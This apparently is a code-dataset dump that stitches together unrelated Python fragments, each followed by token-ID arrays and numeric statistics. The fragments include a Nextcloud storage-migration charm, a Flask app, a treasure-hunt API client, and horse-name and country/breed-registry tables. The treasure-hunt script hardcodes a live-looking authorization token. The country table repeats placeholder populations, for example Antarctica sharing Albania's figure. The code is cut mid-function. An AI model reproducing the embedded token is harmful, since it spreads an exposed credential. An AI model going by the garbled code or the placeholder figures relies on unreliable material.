start=segment.start, duration=1 / sample_rate, step=1 / sample_rate
)
waveform = SlidingWindowFeature(data, samples)
ylim_waveform = np.min(data), np.max(data)
audio_clip = AudioClip(make_audio_frame, duration=segment.duration, fps=sample_rate)
# reset notebook just once so that colors are coherent between views
notebook.reset()
# initialize subplots with one row per view + one view for waveform
nrows = len(views) + 1
fig, axes = plt.subplots(
nrows=nrows, ncols=1, figsize=(10, 2 * nrows), squeeze=False
)
*ax_views, ax_wav = axes[:, 0]
# TODO: be smarter based on all SlidingWindowFeature views
ylim = (-0.1, 1.1)
video_clip = VideoClip(make_frame, duration=segment.duration)
video_clip = video_clip.set_audio(audio_clip)
video_clip.write_videofile(
video_path,
fps=video_fps,
audio=True,
audio_fps=sample_rate,
preset="ultrafast",
logger="bar",
)
plt.close(fig)
if not display:
return video_path
return IPythonVideo(video_path, embed=True)
| [
28311,
25,
198,
220,
220,
220,
422,
6101,
7535,
13,
13812,
1330,
13491,
355,
6101,
7535,
21206,
198,
220,
220,
220,
422,
6101,
7535,
13,
13812,
1330,
7623,
355,
6101,
7535,
10798,
628,
220,
220,
220,
6101,
56,
4221,
1340,
62,
38604,
... | 2.654832 | 2,028 |
import os
import shutil
import subprocess
import time
from charms.reactive import ( when_all, when, when_not, set_flag, set_state,
when_none, when_any, hook, clear_flag )
from charms import reactive, apt
from charmhelpers.core import ( hookenv, host, unitdata )
from charmhelpers.core.hookenv import ( storage_get, storage_list, status_set, config, log, DEBUG, WARNING )
from charmhelpers.core.host import chdir
data_mount_key = "nextcloud.storage.data.mount"
@hook("data-storage-attached")
@hook("data-storage-detaching")
@when("nextcloud.storage.data.attached")
@when_not("nextcloud.storage.data.migrated")
@when("apt.installed.rsync")
@when('nextcloud.initdone')
def migrate_data():
"""
We have got some attached storage and nextcloud initialized. This means that we migrate data
following the following strategy:
0. Stop apache2 to avoid getting out of sync AND place nextcloud in maintenance mode.
1. rsync from the original /var/www/nextcloud/data to the new storage path.
2. replace the original /var/www/nextcloud/data with a symlink.
3. Fix permissions.
4. Start apache2 and get out of maintenance mode.
Note that the original may already be a symlink, either from
the block storage broker or manual changes by admins.
"""
log("Initializing migration of data to {}".format(unitdata.kv().get(data_mount_key)), DEBUG)
# Attempting this while nextcloud is live would be bad. So, place in maintenance mode
maintenance_mode(True)
# clear_flag('apache.start') # layer:apache-php
host.service_stop('apache2') # don't wait for the layer to catch the flag
old_data_dir = '/var/www/nextcloud/data'
new_data_dir = unitdata.kv().get(data_mount_key)
backup_data_dir = "{}-{}".format(old_data_dir, int(time.time()))
status_set("maintenance","Migrating data from {} to {}".format(old_data_dir, new_data_dir),)
try:
rsync_cmd = ["rsync", "-av", old_data_dir + "/", new_data_dir + "/"]
log("Running {}".format(" ".join(rsync_cmd)), DEBUG)
subprocess.check_call(rsync_cmd, universal_newlines=True)
except subprocess.CalledProcessError:
status_set(
"blocked",
"Failed to sync data from {} to {}"
"".format(old_data_dir, new_data_dir),
)
return
os.replace(old_data_dir, backup_data_dir)
status_set("maintenance", "Relocated data-directory to {}".format(backup_data_dir))
os.symlink(new_data_dir, old_data_dir) # /mnt/ncdata0 <- /var/www/nextcloud/data
status_set("maintenance", "Created symlink to new data directory")
host.chownr(new_data_dir, "www-data", "www-data", follow_links=False, chowntopdir=True)
status_set("maintenance", "Ensured proper permissions on new data directory")
os.chmod(new_data_dir, 0o700)
status_set("maintenance", "Migration completed.")
# Bring back from maintenance mode.
maintenance_mode(False)
# set_flag('apache.start') # layer:apache-php
host.service_start('apache2') # don't wait for the layer to catch the flag
status_set("active", "Nextcloud is OK.")
reactive.set_state("nextcloud.storage.data.migrated")
| [
11748,
28686,
198,
11748,
4423,
346,
198,
11748,
850,
14681,
198,
11748,
640,
628,
198,
6738,
41700,
13,
260,
5275,
1330,
357,
618,
62,
439,
11,
618,
11,
618,
62,
1662,
11,
900,
62,
32109,
11,
900,
62,
5219,
11,
198,
220,
220,
220... | 2.797051 | 1,153 |
import netdef_slim as nd
from netdef_slim.core.register import register_function
nd.evo = None
_evolution_manager = nd.EvolutionManager()
nd.evo_manager = _evolution_manager
register_function('add_evo', _evolution_manager.add_evolution)
register_function('evo_names', _evolution_manager.evolution_names)
register_function('clear_evos', _evolution_manager.clear)
nd.evos = _evolution_manager._evolutions
register_function('select_evo', _select_evo)
_training_dir = '.'
register_function('set_training_dir', _set_training_dir)
| [
11748,
2010,
4299,
62,
82,
2475,
355,
299,
67,
198,
6738,
2010,
4299,
62,
82,
2475,
13,
7295,
13,
30238,
1330,
7881,
62,
8818,
198,
198,
358,
13,
1990,
78,
796,
6045,
198,
198,
62,
1990,
2122,
62,
37153,
796,
299,
67,
13,
15200,
... | 2.913514 | 185 |
import numpy as np
from nose.tools import eq_
from fancyimpute import SimilarityWeightedAveraging
if __name__ == "__main__":
test_similarity_weighted_column_averaging()
| [
11748,
299,
32152,
355,
45941,
198,
6738,
9686,
13,
31391,
1330,
37430,
62,
198,
198,
6738,
14996,
11011,
1133,
1330,
11014,
414,
25844,
276,
32,
332,
3039,
628,
198,
361,
11593,
3672,
834,
6624,
366,
834,
12417,
834,
1298,
198,
220,
... | 3.087719 | 57 |
import time
import json
import requests
from collections import defaultdict
import hashlib
s = Stack()
visited = set()
reverse = {'n': 's', 's': 'n', 'e': 'w', 'w': 'e'}
graph = defaultdict(dict)
next_move = ''
last_room = ''
mining_room = 259
keep_moving = True
at_well = False
room_information = requests.get(url='https://lambda-treasure-hunt.herokuapp.com/api/adv/init/', headers={
'Authorization': 'Token 827a384b1cb42ae6269da537819ba31a413f8d2d'}).json()
visited.add(room_information['room_id'])
s.push(room_information['room_id'])
graph[room_information['room_id']] = defaultdict(dict)
for exit in room_information['exits']:
graph[room_information['room_id']][exit] = '?'
####################### EVERYTHING ABOVE THIS LINE IS THE INITIAL SETUP #######################
while keep_moving:
if room_information['terrain'] == 'MOUNTAIN' or room_information['terrain'] == 'NORMAL' or room_information['terrain'] == 'TRAP':
movement_type = 'fly'
else:
movement_type = 'move'
time.sleep(room_information['cooldown'])
unvisited = []
if room_information['room_id'] == mining_room:
keep_moving = False
resp = requests.get(url='https://lambda-treasure-hunt.herokuapp.com/api/bc/last_proof/',
headers={'Authorization': 'Token 827a384b1cb42ae6269da537819ba31a413f8d2d'}).json()
print(resp)
last_proof = resp['proof']
proof = 0
difficulty = resp['difficulty']
while valid_proof(last_proof, proof) is False:
proof += 1
print(f'Proof that we are sending: {proof}')
resp = requests.post(url='https://lambda-treasure-hunt.herokuapp.com/api/bc/mine/', headers={
'Content-Type': 'application/json', 'Authorization': 'Token 827a384b1cb42ae6269da537819ba31a413f8d2d'}, json={"proof": proof}).json()
print(resp)
elif room_information['title'] == "Wishing Well" and at_well == False:
time.sleep(room_information['cooldown'])
resp = requests.post(url='https://lambda-treasure-hunt.herokuapp.com/api/adv/examine',
headers={
'Authorization': 'Token 827a384b1cb42ae6269da537819ba31a413f8d2d'},
json={"name": "well"}).json()
print(resp)
mining_room = int(resp['description'].split()[-1])
print(f'Room to mine is {mining_room}')
at_well = True
else:
for direction, room in graph[room_information['room_id']].items():
if room == '?':
unvisited.append(direction)
if len(unvisited) > 0:
next_move = unvisited[0]
last_room = room_information['room_id']
print(f'Before the movement post request is made: {last_room}')
room_information = requests.post(f'https://lambda-treasure-hunt.herokuapp.com/api/adv/{movement_type}/',
headers={
'Authorization': 'Token 827a384b1cb42ae6269da537819ba31a413f8d2d'},
json={'direction': next_move}).json()
print('Going to: ', room_information['room_id'])
s.push(room_information['room_id'])
visited.add(room_information['room_id'])
graph[last_room][next_move] = room_information['room_id']
graph[room_information['room_id']] = defaultdict(dict)
for exit in room_information['exits']:
graph[room_information['room_id']][exit] = '?'
graph[room_information['room_id']][reverse[next_move]] = last_room
else:
s.pop()
for direction, room in graph[room_information['room_id']].items():
if room == s.tail():
next_move = direction
next_room = s.tail()
print('Before the movement post request is made: ',
room_information['room_id'])
room_information = requests.post(f'https://lambda-treasure-hunt.herokuapp.com/api/adv/{movement_type}/',
headers={
'Authorization': 'Token 827a384b1cb42ae6269da537819ba31a413f8d2d'},
json={'direction': next_move}).json()
print('After the movement post request is made: ',
room_information['room_id'])
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6,
77,
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705,
82,
3256,
70... | 2.046284 | 2,247 |
from stock.core.product import SKU, Category, Product
from stock.core.shelve import RestockThreshold, ProductAmount, Capacity, Shelve
from stock.core.services.register_shelve import RegisterShelve
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... | 3.666667 | 54 |
#!/usr/bin/python3
"""
Sript that starts a Flask web application
"""
from flask import Flask, render_template
from models import storage
import os
app = Flask(__name__)
@app.teardown_appcontext
def handle_teardown(self):
"""
method to handle teardown
"""
storage.close()
@app.route('/cities_by_states', strict_slashes=False)
def city_state_list():
"""
method to render states from storage
"""
states = storage.all('State').values()
return render_template("8-cities_by_states.html", states=states)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
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19... | 2.682609 | 230 |
from typing import Any, Callable, Dict, Iterator
from aoc_solver.types import StringableIterator
HandlerFunc = Callable[[Any, Dict], StringableIterator]
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... | 3.340426 | 47 |
HORSE_HANDLES = [
"Ace",
"Adagio",
"Adios",
"Admiral",
"Akela",
"Alamo",
"Albert",
"Alfie",
"Allegro",
"Alto",
"Amethyst",
"Amigo",
"Amulet",
"Angel",
"Angelo",
"Apache",
"Apollo",
"Apple",
"Archie",
"Archimedes",
"Arion",
"Arizona",
"Armand",
"Arod",
"Artax",
"Ash",
"Atlanta",
"Austin",
"Badger",
"Bagel",
"Baloo",
"Bambi",
"Bandido",
"Bandit",
"Banjo",
"Barney",
"Baron",
"Barry",
"Bashful",
"Basil",
"Batman",
"Baxter",
"Bear",
"Ben",
"Bentley",
"Berlin",
"Berlioz",
"Biggles",
"Bilbo",
"Bill",
"Billy",
"Bingo",
"Biscuit",
"Blackberry",
"Blackie",
"Blake",
"Blizzard",
"Blue",
"Bluey",
"Bob",
"Bobbie",
"Bojangles",
"Bolero",
"Boris",
"Boston",
"Boxer",
"Boy",
"Bracken",
"Bramble",
"Brave",
"Braveheart",
"Bravo",
"Brego",
"Bronze",
"Brownie",
"Bruce",
"Bubble",
"Buck",
"Buddy",
"Bugsy",
"Bullet",
"Bullseye",
"Bumble",
"Bunny",
"Buster",
"Butter",
"Butterfly",
"Buttons",
"Buzz",
"Caballo",
"Cactus",
"Caesar",
"Calisson",
"Cappuccino",
"Captain",
"Caramel",
"Casino",
"Casper",
"Caviar",
"Cedar",
"Celtic",
"Champagne",
"Champion",
"Chancellor",
"Chantilly",
"Charlie",
"Charm",
"Cherokee",
"Chess",
"Chianti",
"Chico",
"Chief",
"Chips",
"Chocolate",
"Chub",
"Chucky",
"Cilantro",
"Cincinnati",
"Cinnamon",
"Classic",
"Clever",
"Cloud",
"Clover",
"Clyde",
"Cobra",
"Coco",
"Coconut",
"Colorado",
"Columbo",
"Comanche",
"Comino",
"Commodore",
"Concerto",
"Concord",
"Condor",
"Connor",
"Conquest",
"Cotton",
"Cougar",
"Courageous",
"Cowboy",
"Coyote",
"Crazy",
"Crescendo",
"Crunchie",
"Cupcake",
"Cyclone",
"Dallas",
"Dan",
"Dancer",
"Dandy",
"Dark",
"Dawson",
"Delta",
"Deputy",
"Dexter",
"Diablo",
"Diamond",
"Diego",
"Digger",
"Director",
"Disco",
"Dodger",
"Domino",
"Don Juan",
"Donald",
"Donut",
"Douglas",
"Dragon",
"Dragonfly",
"Drakkar",
"Dream",
"Dreamer",
"Drummer",
"Dubai",
"Dublin",
"Duet",
"Duke",
"Duncan",
"Dynamite",
"Eagle",
"Edgar",
"Einstein",
"Eldorado",
"Elvis",
"Emmett",
"Empire",
"Equinox",
"Eros",
"Espresso",
"Excalibur",
"Fabio",
"Faithful",
"Falcon",
"Faster",
"Feast",
"Felix",
"Finley",
"Fire",
"Firefly",
"Fizz",
"Fjord",
"Flame",
"Flamenco",
"Flash",
"Flint",
"Florence",
"Fluffy",
"Fly Away",
"Fonzie",
"Footloose",
"Forest",
"Forever",
"Fox",
"Fox Trot",
"Freddy",
"Freedom",
"French",
"Friday",
"Frodo",
"Fudge",
"Fuego",
"Gabilan",
"Galactic",
"Gambit",
"Gandalf",
"Gatsby",
"Gemini",
"General",
"Gentleman",
"George",
"Geronimo",
"Ghost",
"Ghost Rider",
"Gingerbread",
"Gino",
"Gizmo",
"Glorious",
"Golden",
"Goldeneye",
"Goldfinger",
"Goliath",
"Gouverneur",
"Graphite",
"Gray",
"Green Tea",
"Grizzly",
"Groovy",
"Gulliver",
"Hades",
"Hamilton",
"Hamlet",
"Happy",
"Harley",
"Harry",
"Harvey",
"Haughty",
"Hawk",
"Heart",
"Hector",
"Hengroen",
"Henry",
"Hercules",
"Herman",
"Hermes",
"Hero",
"Highlander",
"Horace",
"Houdini",
"Houston",
"Humphrey",
"Hunter",
"Icarus",
"Ike",
"Inca",
"Indiana",
"Indigo",
"Indy",
"Inferno",
"Irish",
"Iron",
"Izzy",
"Jack",
"Jacko",
"Jackpot",
"Jackson",
"Jason",
"Jasper",
"Jazz",
"Jazzman",
"Jedi",
"Jelly Bean",
"Jet",
"Jetset",
"Jim",
"Jimbo",
"Jiminy",
"Jimmy",
"Jingles",
"Joey",
"Joker",
"Jumper",
"Junior",
"Jupiter",
"Kelpie",
"Kid",
"King",
"Kipper",
"Kiss",
"Kiwi",
"Knight",
"Kuzco",
"Lancelot",
"Legend",
"Leo",
"Leonardo",
"Lestat",
"Level",
"Lincoln",
"Linguini",
"Lord",
"Lorenzo",
"Lottery",
"Lotus",
"Louis",
"Lucky",
"Ludwig",
"Lunatic",
"Maestro",
"Magic",
"Magic Carpet",
"Magnum",
"Majestic",
"Major",
"Malcolm",
"Malibu",
"Mambo",
"Mango",
"Marcus",
"Marley",
"Marshmallow",
"Martini",
"Marvin",
"Master",
"Matrix",
"Maverick",
"Max",
"Maximus",
"Mercury",
"Mickey",
"Midnight",
"Miles",
"Milky",
"Millennium",
"Milo",
"Milord",
"Mind",
"Minstrel",
"Miracle",
"Monday",
"Money",
"Moon",
"Morning",
"Morocco",
"Mouse",
"Mulder",
"Murphy",
"Mustang",
"Mustard",
"Mysterious",
"Napoleon",
"Nash",
"Navajo",
"Nelson",
"Nemo",
"Neon",
"Neptune",
"Nifty",
"Ninja",
"Nirvana",
"Noble",
"Notorious",
"Nougat",
"Nugget",
"Nutmeg",
"Nuts",
"Oasis",
"Ocean",
"Oliver",
"Olympic",
"Onix",
"Onyx",
"Oreo",
"Orion",
"Orlando",
"Oscar",
"Othello",
"Ozzy",
"Pablo",
"Pacific",
"Paddy",
"Paint",
"Paris",
"Partner",
"Patch",
"Patchwork",
"Patriot",
"Peanut",
"Pebbles",
"Pegasus",
"Peppercorn",
"Perfect",
"Peterpan",
"Phenomenon",
"Pheonix",
"Phoenix",
"Picasso",
"Pilgrim",
"Pilot",
"Pirate",
"Poker",
"Polar",
"Poleaxe",
"Pongo",
"Pony Express",
"Port",
"Powder",
"Pride",
"Prince",
"Prize",
"Pumpkin",
"Punch",
"Punk",
"Puzzle",
"Quantum",
"Quest",
"Quick",
"Quicky",
"Racer",
"Rain",
"Rainbow",
"Raindrop",
"Rambo",
"Rapid",
"Ratatouille",
"Red",
"Red",
"Reflection",
"Rembrandt",
"Resplendent",
"Rhubarb",
"Rico",
"Ring",
"Rio",
"Rocco",
"Rock",
"Rocket",
"Rocky",
"Rodeo",
"Roger",
"Romeo",
"Royal",
"Rudolph",
"Rufus",
"Rusty",
"Santiago",
"Saturn",
"Scooby",
"Seamus",
"Secret",
"Selection",
"Sesamo",
"Seth",
"Shadow",
"Shorty",
"Sidney",
"Silence",
"Silver",
"Simba",
"Sky",
"Smokey",
"Snoopy",
"Snow",
"Snowball",
"Snowy",
"Socks",
"Sonic",
"Sonny",
"Sorcerer",
"Spain",
"Special",
"Speedy",
"Spice",
"Spider",
"Spirit",
"Splash",
"Spooky",
"Stanley",
"Star",
"Storm",
"Stormy",
"Story",
"Sudoku",
"Sueno",
"Sugar",
"Sultan",
"Sunlight",
"Sunny",
"Sunrise",
"Sunset",
"Survivor",
"Sweet",
"Sweety",
"Tabasco",
"Tahiti",
"Tango",
"Tank",
"Tap Dance",
"Tarot",
"Tarzan",
"Tattoo",
"Taxi",
"Taz",
"Teddy",
"Teddy Bear",
"Tempo",
"Tennessee",
"Texas",
"Thor",
"Thunder",
"Thunderstorm",
"Tiger",
"Tigger",
"Toby",
"Toffee",
"Tonto",
"Top Hat",
"Topaz",
"Tornado",
"Toronto",
"Travel",
"Traveler",
"Treacle",
"Treasure",
"Tristan",
"Triton",
"Truffles",
"Tucker",
"Twain",
"Twist",
"Tyson",
"Tzar",
"Uno",
"Vegas",
"Victorious",
"Viking",
"Vito",
"Volcanic",
"Volcano",
"Warrior",
"Watson",
"Welcome",
"Western",
"Whiskey",
"Whisper",
"White",
"Whitewater",
"Wild",
"Wildfire",
"Willow",
"Willy",
"Wind Song",
"Windsor",
"Winston",
"Wizard",
"Wolf",
"Wombat",
"Wonder",
"Woodstock",
"Woody",
"Working",
"Xanadu",
"Xanthos",
"Yankee",
"Yellow",
"Ying Yang",
"Yoda",
"Yohi",
"Yosemite",
"Yoshi",
"Young",
"Zanzibar",
"Zed",
"Zen",
"Zephyr",
"Ziggy",
"Zip",
"Zorro",
]
COUNTRY_POPULATION = [
{
"country": "Afghanistan",
"iso3166": 4,
"population": 171200,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Albania",
"iso3166": 8,
"population": 31729,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Antarctica",
"iso3166": 10,
"population": 31729,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Algeria",
"iso3166": 12,
"population": 44991,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "American Samoa",
"iso3166": 16,
"population": 44991,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Andorra",
"iso3166": 20,
"population": 44991,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Angola",
"iso3166": 24,
"population": 1013,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Antigua and Barbuda",
"iso3166": 28,
"population": 493,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Azerbaijan",
"iso3166": 31,
"population": 71606,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Argentina",
"iso3166": 32,
"population": 2447582,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Australia",
"iso3166": 36,
"population": 268739,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Austria",
"iso3166": 40,
"population": 93225,
"pct_registered": 0.8,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Bahamas",
"iso3166": 44,
"population": 0,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Bahrain",
"iso3166": 48,
"population": 0,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Bangladesh",
"iso3166": 50,
"population": 0,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Armenia",
"iso3166": 51,
"population": 11402,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Barbados",
"iso3166": 52,
"population": 1259,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Belgium",
"iso3166": 56,
"population": 35079,
"pct_registered": 0.8,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Bermuda",
"iso3166": 60,
"population": 1012,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Bhutan",
"iso3166": 64,
"population": 13914,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Bolivia",
"iso3166": 68,
"population": 499403,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Bosnia and Herzegovina",
"iso3166": 70,
"population": 16288,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Botswana",
"iso3166": 72,
"population": 34737,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Bouvet Island",
"iso3166": 74,
"population": 34737,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Brazil",
"iso3166": 76,
"population": 5577539,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Belize",
"iso3166": 84,
"population": 5919,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "British Indian Ocean Territory",
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"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Isle of Man",
"iso3166": 833,
"population": 75663,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Tanzania, United Republic of",
"iso3166": 834,
"population": 75663,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "USA",
"iso3166": 840,
"population": 10525766,
"pct_registered": 0.8,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 8420612
},
{
"country": "Virgin Islands (U.S.)",
"iso3166": 850,
"population": 10525766,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Burkina Faso",
"iso3166": 854,
"population": 41053,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Uruguay",
"iso3166": 858,
"population": 415000,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Uzbekistan",
"iso3166": 860,
"population": 216900,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Venezuela (Bolivarian Republic of)",
"iso3166": 862,
"population": 527031,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Wallis and Futuna",
"iso3166": 876,
"population": 175,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Samoa",
"iso3166": 882,
"population": 1927,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Yemen",
"iso3166": 887,
"population": 1961,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
},
{
"country": "Zambia",
"iso3166": 894,
"population": 1961,
"pct_registered": 0.01,
"confidence in pct_reg": 0,
"source of pct_reg": "Guess",
"pick": 0
}
]
PIOS = [
{
"name": "French Horse - Non-TB",
"full_org_id": "250001",
"country": 250,
"org_id": "001",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "AHA : code for Arabs born in Panama only",
"full_org_id": "591001",
"country": 591,
"org_id": "001",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "American Bucksin Registry association",
"full_org_id": "840001",
"country": 840,
"org_id": "001",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "AHSB : code for Arabs born in Greece only",
"full_org_id": "300002",
"country": 300,
"org_id": "002",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "AHSB : code for Arabs born in Malta only",
"full_org_id": "470002",
"country": 470,
"org_id": "002",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "AWR : for Mexican AWR only",
"full_org_id": "484002",
"country": 484,
"org_id": "002",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Anglo European Studbook",
"full_org_id": "826002",
"country": 826,
"org_id": "002",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "American Hackney Horse Society",
"full_org_id": "840002",
"country": 840,
"org_id": "002",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Irish Piebald and Skewbald Association",
"full_org_id": "372003",
"country": 372,
"org_id": "003",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "KWPN - NA : code for horses born in Mexico",
"full_org_id": "484003",
"country": 484,
"org_id": "003",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "British Association for the Purebred Spanish Horse",
"full_org_id": "826003",
"country": 826,
"org_id": "003",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "American Holsteiner Horse Association Inc",
"full_org_id": "840003",
"country": 840,
"org_id": "003",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "The Connemara Pony Breeders Society",
"full_org_id": "372004",
"country": 372,
"org_id": "004",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "AHA : code for Arabs born in Mexico only",
"full_org_id": "484004",
"country": 484,
"org_id": "004",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "American Miniature Horse Association",
"full_org_id": "840004",
"country": 840,
"org_id": "004",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "AHHA : Code for holsteiner horses born in Mexico only",
"full_org_id": "484005",
"country": 484,
"org_id": "005",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "British Appaloosa Society",
"full_org_id": "826005",
"country": 826,
"org_id": "005",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "American paint Horse Association",
"full_org_id": "840005",
"country": 840,
"org_id": "005",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "AWR : for canadian AWR only",
"full_org_id": "124006",
"country": 124,
"org_id": "006",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Irish Cob Society",
"full_org_id": "372006",
"country": 372,
"org_id": "006",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "British Hanoverian Horse Society",
"full_org_id": "826006",
"country": 826,
"org_id": "006",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "American Quarter Horse Association",
"full_org_id": "840006",
"country": 840,
"org_id": "006",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "KWPN - NA : code for horses born in Canada",
"full_org_id": "124007",
"country": 124,
"org_id": "007",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Code for Irish Standard and Trotting Horses only",
"full_org_id": "372007",
"country": 372,
"org_id": "007",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "American Trakehner Association, Inc",
"full_org_id": "840007",
"country": 840,
"org_id": "007",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "AHSB : code for Arabs born in Ireland only",
"full_org_id": "372008",
"country": 372,
"org_id": "008",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "British miniature Horse Society",
"full_org_id": "826008",
"country": 826,
"org_id": "008",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "American Warmblood Registry",
"full_org_id": "840008",
"country": 840,
"org_id": "008",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Irish Pony Society",
"full_org_id": "372009",
"country": 372,
"org_id": "009",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "British Morgan Horse Society",
"full_org_id": "826009",
"country": 826,
"org_id": "009",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "American Warmblood Society",
"full_org_id": "840009",
"country": 840,
"org_id": "009",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Irish Warmblood Stud Book Ltd",
"full_org_id": "372010",
"country": 372,
"org_id": "010",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "British Palomino Horse Society",
"full_org_id": "826010",
"country": 826,
"org_id": "010",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "American White/american Creme Horse registry",
"full_org_id": "840010",
"country": 840,
"org_id": "010",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "British Percheron horse Society",
"full_org_id": "826011",
"country": 826,
"org_id": "011",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Appaloosa Horse Club",
